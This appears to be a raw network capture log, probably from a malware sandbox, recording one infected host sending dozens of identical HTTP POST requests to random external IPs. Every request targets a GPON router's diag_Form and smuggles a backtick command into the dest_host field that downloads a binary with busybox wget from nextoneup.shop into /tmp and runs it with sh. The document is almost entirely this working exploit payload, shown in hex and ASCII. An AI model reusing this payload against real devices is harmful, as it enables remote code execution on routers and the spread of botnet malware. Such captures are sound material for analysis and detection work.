Apr 14, 2024 03:59:52.112430096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	52774	5.113.223.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112484932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	54102	202.211.133.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112521887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	34896	118.7.202.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112560987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	58550	212.174.4.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112621069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	59720	117.32.207.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112648964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	58600	94.100.112.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112685919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	36774	37.23.183.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115502119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	48158	202.34.95.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115556002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	60136	109.203.65.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115576029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	55164	79.218.62.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115633011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	50818	109.64.154.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115700960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	36102	210.20.116.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115704060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	35392	94.238.173.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115739107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	33614	79.252.24.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115849018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	45336	5.82.105.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115866899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	34154	42.94.151.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115866899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	33582	212.147.102.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115883112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	46518	123.78.107.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.115933895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	34544	5.177.32.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116065979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	55592	2.58.239.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116111040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	53298	2.62.71.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116213083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	46422	202.196.246.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116214037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	58182	117.87.133.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116287947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	37054	37.173.47.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116291046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	34750	118.34.158.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116301060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
